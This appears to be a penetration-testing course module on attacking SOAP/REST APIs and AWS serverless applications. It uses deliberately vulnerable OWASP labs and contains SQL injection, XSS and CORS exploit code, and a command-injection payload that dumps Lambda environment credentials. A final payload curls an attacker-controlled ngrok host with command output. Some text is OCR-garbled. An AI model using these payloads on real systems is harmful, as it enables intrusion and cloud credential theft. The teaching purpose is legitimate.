# Web Application Penetration Testing eXtreme

# Pentesting APIs & Cloud Applications

Section 01 | Module 14



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# **Learning Objectives**

By the end of this module, you should have a better understanding of:

- ✓ Attacking API based applications
- ✓ Common vulnerabilities found in Cloud environments















API stands for Application Programming Interface. It is a non-GUI collection of endpoints in a standardized form so it can be used by human user as well as a machine. It is often accompanied by documentation that can be in both a machine and a human-readable form.

There are lots of APIs, for example Windows API, remote APIs like RPC (Remote Procedure Call), but we will focus on web APIs, mainly:

- Web services (SOAP/XML)
- REST APIs (JSON)









From a technical standpoint, API differs from a website because:

- It has a standardized input/output form so that it can be scripted.
- It is language independent (it should work on each platform in the same way).
- It aims to be secure (e.g., it allows only some predefined methods).









SOAP API utilizes the Simple Object Access Protocol to define communication standard – so how the request and response looks, as well as the parameters can be passed in them.









SOAP Messages (HTTP Requests) are an XML type and must contain some special elements.


- Content type text/xml is also allowed.
- SOAPAction is sometimes used just for the standard and sometimes needs to hold the called method name.

```
</>
  POST /Uripath HTTP/1.1
  Host: www.example.com
  Content-Type: application/soap+xml; charset=utf-8
  Content-Length: 299
  SOAPAction: "http://www.w3.org/2003/05/soap-
  envelope"
  <?xml version="1.0"?>
  <soap:Envelope
  xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
  xmlns:m="http://www.example.com">
    <soap:Header>
    </soap:Header>
    <soap:Body>
      <m:MethodName>
        <m:ParamName>PARAMETER VALUE</m:ParamName>
      </m:MethodName>
    </soap:Body>
  </soap:Envelope>
```










Here is the sample response which follows the SOAP standard and is in XML format.

```
</>
  HTTP/1.1 200 OK
  Content-Type: text/xml; charset=utf-8
  Content-Length: length
  <?xml version="1.0" encoding="utf-8"?>
  <soap:Envelope
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-
  instance"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:soap="http://schemas.xmlsoap.org/soap/envelope
    <soap:Body>
      <MethodResult xmlns="http://tempuri.org/">
        <ResultValue>TheValue/ResultValue>
      </MethodResult>
    </soap:Body>
  </soap:Envelope>
```









As said previously, API contains both human and machine-readable documentation. For SOAP-based APIs, the documentation is stored in WSDL files. Usually, these files are stored under the "?wsdl" path, for example, <a href="https://api.example.com/api/?wsdl">https://api.example.com/api/?wsdl</a>.

You can take a look at an exemplary calculator service online at address:

http://www.dneonline.com/calculator.asmx







At the following address, <a href="http://www.dneonline.com/calculator.asmx?op=Add">http://www.dneonline.com/calculator.asmx?op=Add</a>, you can see an exemplary SOAP request that was issued in order to speak to the calculator service.

You can also see the full WSDL file at: <a href="http://www.dneonline.com/calculator.asmx?wsdl">http://www.dneonline.com/calculator.asmx?wsdl</a>







As you can see, reconstructing each method separately to create a valid request would be a time-consuming task. To Turn the WSDL document into a working request, we can use some automated tools, which will be presented in the next chapter.









This kind of interface, equipped with documentation that can be parsed by a machine, allows us to expose a large number of methods where each of them has its own purpose.

Another type of API is REST (Representational State Transfer) APIs. Usually, the method client is about to call is in the resource path:

GET /api/v2/methodName










Depending on the request type, the parameters might be passed differently.

In REST APIs, HTTP methods have some special meaning:

- GET Read resource
- POST Create resource
- PUT Update resource
- DELETE Delete resource
- PATCH Update resource partially







Except for GET requests, API methods parameters are passed in the request body.

Remember, that the meaning of these methods is a common practice and not a requirement, so technically it is possible that a method you encounter does something different (e.g., POST is used for logging in).









An exemplary REST API request can be seen to the right:

- Path often contains the API version
- Content-Type application/json header is required
- Parameters are passed as JSON array

```
</>
  POST /api/2.2/auth/signin HTTP/1.1
  HOST: my-server
  Content-Type:application/json
  Accept:application/json
    "credentials": {
      "name": "administrator",
      "password": "passw0rd",
      "site": {
        "contentUrl": ""
```









It is also often possible to pass the REST API parameters as XML, so the equivalent of the request from the previous slide would look like the listing to the right.

```
</>
 POST /api/2.2/auth/signin HTTP/1.1
 HOST: my-server
 Content-Type:text/xml
 <tsRequest>
    <credentials name="administrator"</pre>
 password="passw0rd">
      <site contentUrl="" />
    </credentials>
 </tsRequest>
```







REST API also has a documentation standard called the WADL file. A sample WADL can be viewed here:

https://www.w3.org/Submission/wadl/

in initializations remains
properties caperisent
properties control
postero co

Similar to WSDL, we will shortly present tools that help to parse the lengthy file in order not to rewrite all the methods manually.









In order to make developer's (and penetration testers') lives easier, some APIs include a more human-friendly API representation. For example, a very popular API engine named Swagger is often found with its demo page, which contains forms with description and possibility to issue a request to each method.

You can see sample Swagger API here: <a href="https://swagger.io/tools/swagger-ui/">https://swagger.io/tools/swagger-ui/</a>. Click on "Live Demo" to try it yourself.









You can find more resources on APIs by clicking on the below links:

- https://swagger.io/
- https://www.w3.org/TR/wsdl.html
- https://www.w3.org/Submission/wadl/
- https://www.w3.org/TR/soap/

















APIs are built in a way that one request path (one **endpoint**) allows us to call one method (execute one type of action). The path we are requesting is an abstract mapping to some resources; that means, when requesting the endpoint /api/v3/methodName, it does not reflect file/directory structure on the server.









The request is processed by a special component that **maps** the path to certain operation handlers and not to physical file/directory resources.

However, do not be discouraged from using your favorite content discovery tools on the API enabled server. Some server paths can be mapped to the API routines, but still, some requests can be handled by the server in an original way allowing it to expose files and directories to the user.







It is possible than when you request /api/anything then every character past "anything" is parsed by the API engine, but you can still find interesting files on the server under, for example /version.txt.

Regardless of the fact that APIs make use of predefined methods, you should be aware that there can still be vulnerabilities related to:

- Parameters to these predefined functions
- The API parsing itself
- Access to sensitive methods









We will cover each of these cases in the following slides. First, as you encounter an API during a penetration test, you should focus on the proper reconnaissance of the API interface, which includes:

- What is the API name and version? Is it a custom implementation or, for example, an open-source product?
- Is there any online documentation available? Are there any interesting methods?









- Does the documentation exist on the target server (?wsdl, ?wadl, or similar)?
- Does the API require authentication, or is publicly available?
- If there is both local and public documentation for an API, do they match? Maybe some methods were hidden from local users (typically ones that allow insecure operations).









Your purpose is to gather as many API endpoints as possible and to be able to speak to them. You should also be able to get the WSDL/WADL file for further testing.

Reconstructing API calls from a raw WSDL/WADL file would be time-consuming, so a proper tool might help you to do it faster. For API testing and parsing WSDL/WADL files into a ready-to-use method set, you might want to use **Postman**, the free edition of **SOAPUI**, or the Burp Pro extension called **WSDLer**.








You can download a standalone installer of SoapUI from its <a href="https://homepage">homepage</a>. We will present its usage on Kali Linux.

At the time of the release of the course, the latest version is 5.5.0.











SoapUI can be launched from its default location /usr/local/bin/SoapUI-5.5.0

Otherwise, use the "locate SoapUl" command to find the software.









As the software is launched, you can first connect it to the proxy, in this case, the burpsuite instance. This way, you will be able to replay and change requests issued to the API. To set up the proxy, you need to go to File 

Preferences 

Proxy Settings and point it to the burp instance.

Eile Project Suite Case Step <u>T</u> ools <u>D</u> esktop <u>H</u> elp		
Empty SOAP REST Import Save All Ford	m Trial Preferences Proxy	point Explorer
SoapUI Start Page		
To SoapUl St	SoapUI Preferences	
	SoapUl Preferences Set global SoapUl settings	
	HTTP Settings Proxy Settings SSL Settings WSDL Settings UI Settings Editor Settings Tools WS-I Settings Global Properties Global Security Settings WS-A Settings Global Sensitive Information Tokens Version Update Settings	Proxy Setting:










You can then switch the proxying on and off by clicking the Proxy button on the upper menu.










Let's now try to parse the sample WSDL/WADL file. There are sample files shipped with the software itself.

In order to load a WSDL (for SOAP) or WADL (for REST), click the respective buttons in the SoapUI on the upper menu.












By default, you can find example WSDL/WADL files in /root/SoapUI-Tutorials/WSDL-WADL/.












If you now click on a tree node and then double click on "Request", a request window will appear. In this case, we are viewing the "login" method.









The method can be found in the WSDL file as well. SoapUI automatically fills argument placeholders with "?". It is you who should decide what to fill in there. In that case, we see that the application expects the argument of type "String".


```
:~# gedit /root/SoapUI-Tutorials/WSDL-WADL/sample-service.wsdl
  Open ▼
                </xsu:complexType>
            </xsd:element>
           <xsd:complexType name="PurchaseStatusType">
                <xsd:sequence>
                    <xsd:element name="id" type="xsd:string"/>
                   <xsd:element name="stockStatus" type="xsd:string"/>
                    <xsd:element name="expectedDelivery" type="xsd:string"/>
                </xsd:sequence>
            </xsd:complexTvpe>
       </xsd:schema>
   </wsdl:tvpes>
   <wsdl:message name="loginReguest">
       <wsdl:part name="username" type="xsd:string"/>
       <wsdl:part name="password" type="xsd:string"/>
```







If you press the green button, the request will be issued and, in this case, will be proxied through Burp Suite.









Testing REST APIs can be done exactly in the same way; the difference is you import a WADL file instead of WSDL.

So, once you encounter a WSDL on the web application, you can copy its source (Open it in a browser, go to Source, and select all  $\rightarrow$  copy & paste to a file) and import it to SoapUI.







Remember that API is another transport mechanism for some information that is sent to the API Consumer (i.e., the application back-end).

With this in mind, you can try to tamper with everything that is transported by the API – for example, in case of a request similar to the previously presented one, you are free to check if the username or passwords field is vulnerable to injection attacks.









Here we see what a sample request might look like.


```
</>
  POST /sample HTTP/1.1
  Accept-Encoding: gzip, deflate
  Content-Type: text/xml; charset=UTF-8
  SOAPAction: "http://www.soapui.org/sample/login"
  Content-Length: 297
  Host: www.soapui.org
  User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
  Connection: close
  <soapenv:Envelope</pre>
  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/
   " xmlns:sam="http://www.soapui.org/sample/">
      <soapenv:Header/>
      <soapenv:Body>
         <sam:login>
            <username>' or '1'='1</username>
            <password>test</password>
         </sam:login>
      </soapenv:Body>
  </soapenv:Envelope>
```







Of course, the API implementation itself might be vulnerable to XXE attacks; however, modern APIs usually disallow DTD declarations.









Basically, you are free to tamper with any of the API parameters as long as the SOAP message structure is correct.

In case you want to smuggle XML-style data, you can wrap them up in CDATA tags (XML comments), so the SOAP message is valid.



```
POST /storeData HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=UTF-8
SOAPAction: "StoreData"
Content-Length: 297
Host: www.soapui.org
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: close
<soapenv:Envelope</pre>
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:sam="http://www.soapui.org/sample/">
   <soapenv:Header/>
   <soapenv:Body>
      <sam:storeData>
         <text><![CDATA[<script>alert('stored
xss!')</script>]]></text>
      </sam:storeData>
   </soapenv:Body>
</soapenv:Envelope>
```















In larger APIs, not every method is designed to be used by each user. For example, the most common split is between read-only users and read+write users. The latter has the possibility to modify the contents of the API backend.

In APIs, you will rarely see cookies being used. More often, the authentication mechanism will be basic authorization or a kind of token – it can be a pre-generated token that will be equivalent of a cookie, for example in the form of a header, like X-Api-Token: adk32Kds38au39aU0s.









Due to API requirements some specific content types or custom headers are used along with the non-cookie authentication, as they are less likely to be vulnerable to Cross-Site Request Forgery attacks.

However, what often is found in the APIs is broken access control. For example, Authorization Bypasses are very common.









In order to test an API in a complex way for Access control flaws, one needs to:

- Prepare a working request to each API endpoint
- Generate a token (or authorization header) for each of the API users
- Combine each API request with each token to see which will work and which do not
- Remember to test each request, also without any token









Again, such test cases might be generated using SoapUI, which allows us to issue a request to each API endpoint. Also, as a reminder, double-check if the API implementation uses all the methods provided by the original version.

For example, with Rundeck API there is a default possibility of running OS commands, which might be hidden from the documentation on a local API implementation.

 https://docs.rundeck.com/docs/api/rundeckapi.html#adhoc









API tokens are susceptible to vulnerabilities commonly diagnosed in session cookies, for example:

- Low entropy or predictable value
- Lack of invalidation
- Possible token leaks from the application infrastructure or possibility to generate tokens in advance









Specific tokens that might grant you access to an API interface are JWT tokens, as well as the so-called Bearer Authentication.

These tokens will be explained more in detail in the "Attacking Authentication & SSO" module.

















As APIs are often used both by humans and machines, the latter have to be able to read the API results using scripted solutions.

Let's say you want to get the content of a different website, example.com, on your webpage. Consider the following code:

```
</>
  <html><head>
  <script>
  var xhr = new XMLHttpRequest();
  xhr.onreadystatechange = function()
      if (xhr.readyState ==
  XMLHttpRequest.DONE) {
          alert(xhr.responseText);
  xhr.open('GET',
  'http://example.com', true);
  xhr.send(null);</script></head></htm
  1>
```







If you now try to receive the response content of the example.com page, it will be blocked by the browser.

Accordingly, if someone enters a site with a similar script and the response content will be attempted to be sent instead of just displayed, the same constraint appears. It will not be possible for the client-side javascript to read the response due to Same Origin Policy restrictions.







As APIs are meant to be also accessed by automated agents in order to lose SOP constraints a bit, the Cross-Origin Resource Sharing standard was implemented.

Simply put, CORS can add some exceptions to SOP by specifying some special headers in the server response.









We will be interested in two of these headers:


- Access-Control-Allow-Origin: [value]
- And Access-Control-Allow-Credentials: [true/false]

The first one specifies a domain that can access a certain website's response, while the second one specifies if it is possible to add credentialing information (e.g., Cookies) to the request.









Access-Control-Allow-Origin value can be a domain, a wildcard, or null.

A wildcard means that a script hosted on any domain can access a response from that webpage.

A certain domain value means that scripts (or any other user) from that domain can access the response.









For example, if the page victim.com sends back the header Access-Control-Allow-Origin: example.com, that means that if an XHR requesting victim.com script is hosted on example.com, and if the user visits example.com, the script will access victim.com as that user and receive the response.

However, if it is a static page, then nothing special happens unless the victim.com allows another header **Access-Control-Allow-Credentials: true**.









In that case, if the user is logged on on victim.com and visits the mentioned script on example.com, victim.com will be visited in the context of logged-in users (the cookies will be sent with an XHR request) and restricted content can be stolen!

Browsers by default block responses if a site is overly permissive (if they allow wildcard origin together with credentials).









Trust with credentials to the arbitrary origin is a common vulnerability, not only in APIs.

That means if a page is accessible only for logged in users and it trusts the arbitrary origin, an exploit script can be hosted on an attacker controlled domain. Once visited by a user logged in on the target website, it can steal sensitive information – user data or CSRF tokens.







Let's take a look at a simple exploitation case. We will issue a similar XHR request to a CORS-enabled page.

A file is hosted on a phpenabled apache server:

```
</>
 <?php
 header ("Access-Control-Allow-
 Origin: " .
 $ SERVER['HTTP ORIGIN']);
 header("Access-Control-Allow-
 Credentials: true");
 echo "TOP SECRET STUFF";
 ?>
```









If you now navigate to that page while using Burp Suite as a proxy, you can observe how it reacts to a custom "Origin" header.









The XHR script is now modified and example.com is replaced with the CORS enabled page:


```
</>
  <html><head>
  <script>
  var xhr = new XMLHttpRequest();
  xhr.onreadystatechange = function() {
      if (xhr.readyState ==
  XMLHttpRequest.DONE) {
          alert(xhr.responseText);
  xhr.open('GET',
  'http://192.168.139.195/cors.php', true);
  xhr.send(null);</script></head></html>
```







You can now observe that access to the response was gained. In an exploitation scenario, you may instead want to send this data to your controlled server in a similar way that you would steal a cookie using an XSS vulnerability.












#### Hera Lab

#### **Null Origin Exploitation**

There is a sample website that holds a secret token. Your task is to prepare an exploit that takes advantage of a CORS configuration on secret.php and, once opened in another tab, access and send the secret information to another place in the same way an XSS can steal a cookie.



\*Labs are only available in Full or Elite Editions of the course. To access, go to the course in your members area and click the labs drop-down in the appropriate module line or to the virtual labs tabs on the left navigation. To UPGRADE, click LINK.

# Attacking Cloud Based Applications









# 14.5 Attacking Cloud Based Applications

Companies are transitioning some of their applications to cloud services because they are generally scalable, reliable and highly available. They also share some architectural standards that makes them different from traditional web applications.







# 14.5 Attacking Cloud Based Applications

Different cloud providers have different vulnerabilities or default configurations that can be abused from a penetration testing perspective, offering a whole new attack surface that will be explored in the following sections.









#### 14.5.1 Microservices

#### Different architectures and design evolution:

**Monolithic design**: One server is used for holding the web application and needed services such as databases. This offers an easy setup and ease of maintenance at a relatively cheap price but introduces several disadvantages. Monolithic designs are difficult to scale and although the maintenance is relatively easy, updating the server could cause downtimes and having a single point of failure can be a disaster if there is no backup plan in place.









#### 14.5.1 Microservices

**Tiered Monolithic:** Services are separated, the web server is holding the web application while a different server is holding the database or required services. Tiered monolithic architecture offers the possibility of performing updates without downtime and if servers are clustered and load-balanced the performance improves over the previous approach. Tiered monolithic designs are still hard to scale this is something that cannot be automated and if the cluster itself can be a single point of failure that can only be recovered from backups in case a disaster occurs.









#### 14.5.1 Microservices

Cloud solutions: Cloud solutions are build into elastic servers or services. This means horizontal scaling is possible to implement and fully automate, giving a better performance as new instances are created based on the resources needed. Updates can also be performed without downtime and disasters do not involve backups in most of the cases. Although there are a lot of advantages over the previous designs, there are still problems at the application layer as it is still one big codebase (monolithic) and costs can be hard to foreseen depending on the services needed.







# 14.5.2 Serverless Applications

**Function as a Service (FaaS):** Are serverless applications, usually code functions, running in a cloud environment. This cloud environment and the application stack is managed by the cloud operator. As a result, it has the advantage of avoiding the the complexity of building and maintaining the infrastructure typically associated with developing and launching an app.

Serverless applications have some limitations to be aware of, the execution time is limited to a few minutes, threads, usable disk space and ram are also limited, size of the code package and required dependencies have also limitations and there is the need of a trigger/event to run the application and a routing method or API gateway. With this limitations in mind, serverless applications are not the best option for resources demanding jobs or tasks that need more than 10 minutes of execution.









#### 14.5.3 Details of Serverless Architecture

Serverless architecture are different from normal web applications so there are some concepts that must be clear in order to understand them:

API Routing: Routing layer calling the application based on the URL association, rules and parameters. They make the functions to be reached from the internet. In AWS its called API Gateway.

State: As mentioned before, the lifespan of a function is no more than a few minutes, for this reason there is no local cache that can be used and vulnerabilities like file command injections or file uploads are exploited in a different way due to this facts.









#### 14.5.3 Details of Serverless Architecture

Cold Start: As the lifespan is limited, when the code has not been executed in a while or for the first time, it needs to be downloaded, containerized, booted, and primed to be run. This can be solved using 3<sup>rd</sup> party plugins like <u>Serverless-plugin-warmup</u>.

Debugging: Having the benefit of not managing the infrastructure means there are limitations with debugging due to the lack of access to logs. Instead of logging, another approaches such as printing variables or local lambda are usually put in practice for debugging applications.

No Ops: Limited sysadmin tasks as the environment is managed by the cloud operator. Backups, security monitoring and logging it is still necessary.









#### 14.5.3 Details of Serverless Architecture

With microservices and serverless apps there are some changes related to security. Network security changes drastically as the security model of functions does not rely on IP addresses and ports. Instead, they share the same external IP address and there are no local network restriction for them inside the host. Although network restrictions are barely used, in order to apply restrictions cloud provided access controls and permissions are used.








To understand the concept explained in the previous slides, we will deploy a serverless function application in AWS. It is necessary to create an AWS Account for this purpose.

Damn Vulnerable Serverless Application (DVSA) from OWASP is the learning environment to be deployed and used in this example.




















Head over <a href="https://aws.amazon.com/lambda">https://aws.amazon.com/lambda</a> to start creating a function.






- 1. Go to lambda, create application
- 2. Other Options
- 3. Browse Serverless apprepository
- 4. Mark the option "Show apps that create custom IAM roles or resource policies"
- 5. Search DVSA












Go to the AWS System manager, Parameter Store and look for the DVSA URL









Now head to the URL and register an account. It should be a real email for receiving the activation code.




















Simple Storage Service (S3) is an AWS scalable and distributed file system. These filesystems root folder are referred as buckets while everything else (files, subfolders) are referred as objects. Misconfigured S3 buckets have been the principal cause of many information leaks and attacks against organizations.










For further understanding of the security features inside S3 buckets, head to your AWS Account and let's create a new S3 bucket.













While creating buckets, there are several configuration options that can be selected in the process.











Access control and encryption can be specified at this stage.











Common S3 attacks consist in unauthorized access to objects. These attacks often gives the capability of modifying and creating new objects and changing existing policies and permissions on S3 buckets.









Automating the discovery of misconfigured buckets can be done using <u>S3Recon</u>. Instructions on how to clone and install the tool are provided in the Github repository.









Python-pip can be used to install S3Recon, although you might be aware of missing dependencies during the process and install them too.

```
:~# pip install s3recon
Requirement already satisfied: s3recon in /usr/local/lib/python3.7/dist-packages (1.2.2)
Requirement already satisfied: mergedeep ≥ 1.0 in /usr/local/lib/python3.7/dist-packages (from s3recon) (1.1.1)
          :~# s3recon -h
Traceback (most recent call last):
 File "/usr/local/bin/s3recon", line 5, in <module>
   from s3recon.s3recon import cli
 File "/usr/local/lib/python3.7/dist-packages/s3recon/s3recon.py", line 24, in <module>
    from s3recon.mongodb import MongoDB, Hit, Access
  File "/usr/local/lib/python3.7/dist-packages/s3recon/mongodb.py", line 6, in <module>
    from pymongo import MongoClient
ModuleNotFoundError: No module named 'pymongo'
          :~# pip3 install pymongo
 Downloading https://files.pythonhosted.org/packages/2f/e2/91a313e50adcf35182e260d65cf7ec60f6f0367abefc2fbab264e6f4544d/pymongo-3.10.1-cp37-cp3
                                       471kB 983kB/s
Installing collected packages: pymongo
Successfully installed pymongo-3.10.1
        uk3:~# s3recon -h
usage: s3recon [-h] [-o file] [-d] [-p] [-t seconds] [-v] word_list [word_list ...]
positional arguments:
  word list
                                 read words from one or more <word-list> files
optional arguments:
  -h. --help
                                 show this help message and exit
  -o file. -- output file
                                 write output to <file>
  -d. --db
                                 write output to database
  -p, --public
                                 only include 'public' buckets in the output
  -t seconds, --timeout seconds http request timeout in <seconds> (default: 30)
  -v, --version
                                 show program's version number and exit
          3:~#
```









S3Recon needs a wordlist, there is one in the Github repository or a personalized one can be created based on your needs. At this moment the one from the repository will be used.

curl -sSfL -o "word-list.txt" "https://raw.githubusercontent.com/clarketm/s3recon/master/data/words.txt"

```
root@pxluk3:~# curl -sSfL -o "word-list.txt" "https://raw.githubusercontent.com/clarketm/s3recon/master/data/words.txt"
root@pxluk3:~# cat word-list.txt
walmart
google
apple
microsoft
uber
lyft
amazon
```









Running S3 recon with the wordlist file can be done with the following command:

```
s3recon "word-list.txt" -o "results.json" --public
```

```
PRIVATE https://s3.ap-south-1.amazonaws.com/apple-test
PRIVATE https://s3.us-west-2.amazonaws.com/test-uber
PRIVATE https://s3.ca-central-1.amazonaws.com/google-dev
PRIVATE https://s3.ap-southeast-1.amazonaws.com/apple-test
PRIVATE https://s3.ap-southeast-1.amazonaws.com/google-dev
PRIVATE https://s3.ap-southeast-2.amazonaws.com/google-testing
PRIVATE https://s3.ap-south-1.amazonaws.com/google.dev
PRIVATE https://s3.ap-northeast-2.amazonaws.com/lyft
PRIVATE https://s3.us-west-2.amazonaws.com/lyft
PRIVATE https://s3.us-west-2.amazonaws.com/dev-microsoft
PUBLIC https://s3.us-east-1.amazonaws.com/dev-microsoft
PRIVATE https://s3.ca-central-1.amazonaws.com/test-google
```









Buckets marked as "public" could give access to restricted content. Objects could be accessed via aws-cli.









S3Recon can be integrated with MongoDB for scraping large results. This proves useful in bug bounty programs where any assets belonging to the company are within the scope.









Some reports from hackerone related to S3 misconfigurations can be reviewed in the following links:

- https://hackerone.com/reports/631529
- https://hackerone.com/reports/507097
- https://hackerone.com/reports/504600
- https://hackerone.com/reports/209223










## 14.5.6 S3 AWS Signed URLs



AWS Signed URLS can be used to give objects temporary access. Any user having this URL will be able to download the object for a limited time. They are commonly used by streaming providers.

Create a private bucket and add some files to it.







## 14.5.6 S3 AWS Signed URLs

When trying to reach any off these URLs, an "AccessDenied" error will appear because the bucket has been set as private.











# 14.5.6 S3 AWS Signed URLs

Using aws-cli, you should be able to access these objects once it has been configured via "aws-cli configure" command. Files can be copied using "aws-cli cp <S3URI> <LOCAPATH>"









## 14.5.6.1 Creating Signed URLs

Signed URLS can be generated using boto3 library for python (pip install boto3).










## 14.5.6.1 Creating Signed URLs



Visiting the Signed URL shows the object contents.











## 14.5.6.2 Signed Cookies

Signed URLs gives access to a single file. This method it does not scale when access to a set of objects is needed. For this reason Signed cookies can be used to give access to more than one object at a time.









## 14.5.7 Serverless Event Injection

Serverless functions listen for events or triggers in order to be executed. These events can be injected from other trusted sources in cloud environments leading to a Serverless Event Injection vulnerability. These trusted sources can be:

- Actions on S3 Objects
- Alerting Systems (Cloudwatch)
- API Gateway Calls
- Changes in the code repository
- Database events
- HTTP APIs







## 14.5.7 Serverless Event Injection

Some serverless functions runs shell or eval content with untrusted input. For instance, imagine a function with the previous example where the S3 URIs are user controlled.

"os.system("aws s3 cp {0} {1}".format(src\_object, dst\_object))"

If we are able to control any of these variables a command injection vulnerability changing the name of the filename.










Remember that serverless functions live for a limited time. This is because they are executed in a small server that lives for a few minutes, this means regular vulnerabilities can exist but only for the time the server is alive.

Visit <a href="https://www.serverless-hack.me/">https://www.serverless-hack.me/</a> or install it in your AWS account











The application converts Word doc files to text. It takes an URL (default one supplied) and outputs its contents on the screen.



#### OWASP ServerlessGoat

OWASP ServerlessGoat is a deliberately insecure realistic AWS Lambda serverless application, maintained by OWASP.

Enter a URL of a Word Doc (.doc) file to convert:

https://www.puresec.io/hubfs/document.doc

Try to find as many issues as possible, from the following list:

- Function Event Data Injection
- Broken Authentication
- Insecure Serverless Deployment Configuration
- Over-Privileged Function Permissions & Roles
- Inadequate Function Monitoring and Logging









The function gets invoked by an AWS API Gateway Call. We can observe how the command is issued by crashing the application.










Observing the API Gateway configuration we can understand that this endpoint works as a Lambda Proxy, when the serverless functions receives the event from the proxy it gets invoked.











As we have seen the vulnerable code and where the injection takes place. Try injecting some commands

HINT: use "> /dev/null" after the document URL to receive a clean output.









As the server will be recycled due to its limited life, there is no point on trying to backdoor it. However, lambda functions store AWS keys in environment variables. They could be reached using "env" or "cat /proc/self/environ"

Enter a URL of a Word Doc (.doc) file to convert:

https://www.puresec.io/hubfs/document.doc>/dev/null;env



AWS\_SESSION\_TOKEN=IQuIb31p72luX2VjEH0aCXVzLXdlc3QthIJIMEVCIQCePH2oaGp16p4gmpMInrl18YF4Nw2/+6q6p3blZZASglhAPOURIAg-'yhji0q2wESAWV4ZMC07GTY9wawEKOrbmwVtd14aZMvwoUooZkTUeWazEMv4IZmkRCEli0uyLMIbrdFqDZS82Nmjskbh1UyayJITIIZ8+ZAm4b67l 'jTLxhYzKHF7ji03DAhxJc1yft0SezCH0nYH/enVDu+CReXnj2wAyp/vPH/O6n16qJ

iH9ULXdg+K66FDv5V16ej6cmqzZVRcIPdmVXIC7P9XAygT6diYACiiRmt8Kciikw4+Kb8QUG3wFtA92A6bwp7FH6yEl+Tgf090i3HwKIO+KGV3hg
BUCKET\_URL=http://aws-serverless-repository-serverless-goat-bucket-Imgh0m1xs6ppx.s3-website-us-west-2\_amazonaws.com\_AWS\_LAMBDA\_LOG\_GF
FunctionConvert-V1JPO90CCSRX\_LAMBDA\_TASK\_ROOT=/var/task\_LD\_LIBRARY\_PATH=/var/langlib/ib64-/usr/ib64/var/tuntime:/var/runtime/lib/i
AWS\_LAMBDA\_LOG\_STREAM\_NAME=202001/21/ISLATESTJ64444d2ff04a6b05789b604969120f AWS\_EXECUTION\_ENV=AWS\_Lambda\_nodejsAWS\_LAMBDA\_FUNCTION\_NAME=aws-serverless-repository-serverle-functionConvert-V1JPO90CCSRX\_PATH=/var/langlib/in/ssr/local/bir/usr/bir/bi//tsserverless-goat-Table\_B7U2RBU5YTAZ\_AWS\_DEFAULT\_REGION=us-west-2\_PWD=/var/task\_AWS\_SECRET\_ACCESS\_KEY=hFBI7CC+OKy7nsbNBy7
untime\_LANG-model-gn\_US\_UTF=8\_NOB\_PATH=/opytnodejs/node/snode\_modules/vap/nodejs/node\_modules/var/untime/node\_modules/var/untime/var/task
IZ=-UTC\_BUCKET\_NAME=aws-serverless-repository-serverless-goat-bucket-Imgh0m1xs6ppx\_AWS\_ACCESS\_KEY\_ID=ASIAXKUEMDSSIXZAR2AM
\_AWS\_XRAY\_DAEMON\_ADDRESS=169\_254\_79\_2\_AWS\_XRAY\_DAEMON\_PORT=2000\_AWSIS\_DEBUG=ON\_X\_AMZN\_TRACE\_ID=Root=1-5e2
Sampled=1\_AWS\_XRAY\_CONTEXT\_MISSING=LOG\_ERROR\_HANDLER=index\_handler\_AWS\_LAMBDA\_FUNCTION\_MEMORY\_SIZE=3008\_=/us









Let's go back to the Damn Vulnerable Serverless Application Installed before in order to discover more events that can be injected.










Visit the URL and add some elements to the cart.











Enter random details in the shipping information and submit them in order to receive the receipt.

If you take a look to the message of the order, it will contain an S3 bucket with an UUID for the order receipt.










It seems the receipt is being copied from an S3 bucket folder generated using the receipt's date and UUID.

This bucket permissions are relatively open, as uploading files is allowed via:

"echo "blah" > file.txt && aws s3 cp file.txt 's3://<BUCKET>/2020/20/20/whatever' -acl public-read"











It has been confirmed that the S3 bucket is open for read/write to everyone. Let's check the code in <a href="https://github.com/OWASP/DVSA/blob/master/backend/src/functions/processing/send\_receipt\_email.py">https://github.com/OWASP/DVSA/blob/master/backend/src/functions/processing/send\_receipt\_email.py</a>


The event handler is reading the bucket name, key and order, then the function replaces the extension ".raw" by ".txt" meaning they expect a raw S3 Object. Then a download path is created and recorded into a log file using "os.system".

```
bucket = event['Records'][0]['s3']['bucket']['name']
key = event['Records'][0]['s3']['object']['key']
key = urllib.unquote plus(urllib.unquote(key))
order = key.split("/")[3]
orderId = order.split(" ")[0]
userId = order.split(" ")[1].replace(".raw", "")
s3 = boto3.client('s3')
# download file to /tmp
download path = '/tmp/' + order.replace(".raw", ".txt")
# print download path
s3.download file(bucket, key, download path)
date = datetime.datetime.now().strftime('%Y-%m-%d %H:%M')
os.system('echo -e "\t-----\n\t\tDate: {}" >> {}'.format(date, download path))
# delete original file
s3.delete object(Bucket=bucket, Key=key)
# upload new file (txt)
s3.upload file(download path, bucket, key.replace(".raw", ".txt"))
```









As in the previous example, the application pass to the os.system function some content that we can control as the S3 Bucket permissions are weak.

Following the name convention that the function expects a OS Command injection payload can be uploaded and executed using the S3 AWS API.

```
bucket = event['Records'][0]['s3']['bucket']['name']
key = event['Records'][0]['s3']['object']['key']
key = urllib.unquote plus(urllib.unquote(key))
order = key.split("/")[3]
orderId = order.split(" ")[0]
userId = order.split("_")[1].replace(".raw", "")
s3 = boto3.client('s3')
# download file to /tmp
download path = '/tmp/' + order.replace(".raw", ".txt")
# print download path
s3.download file(bucket, key, download path)
date = datetime.datetime.now().strftime('%Y-%m-%d %H:%M')
os.system('echo -e "\t-----\n\t\tDate: {}" >> {}'.format(date, download path))
# delete original file
s3.delete object(Bucket=bucket, Key=key)
# upload new file (txt)
s3.upload file(download path, bucket, key.replace(".raw", ".txt"))
```









Ngrok will be used to expose local ports to the internet and catch a reverse shell for this exercise. Visit the website https://ngrok.com and register an account.

After the account has been created download the ngrok client for your OS and authorize it following the instructions under "connect your account".

Once the account has been set up you can expose a local port to the internet running "ngrok http 80" and taking note of the URL.













Requests received to port 80 can be checked on the local web interface <a href="http://127.0.0.1:4040">http://127.0.0.1:4040</a>.

Now, using the same naming convention as the function expects, a payload can be crafted to achieve RCE and receive the response back to our exposed interface.

Payload: "aws s3 cp empty.txt 's3://<your\_bucket\_id>/2020/20/20/whatever\_;curl XXX.grok.io?data="\$(whoami)";echo x.raw -acl public-read"

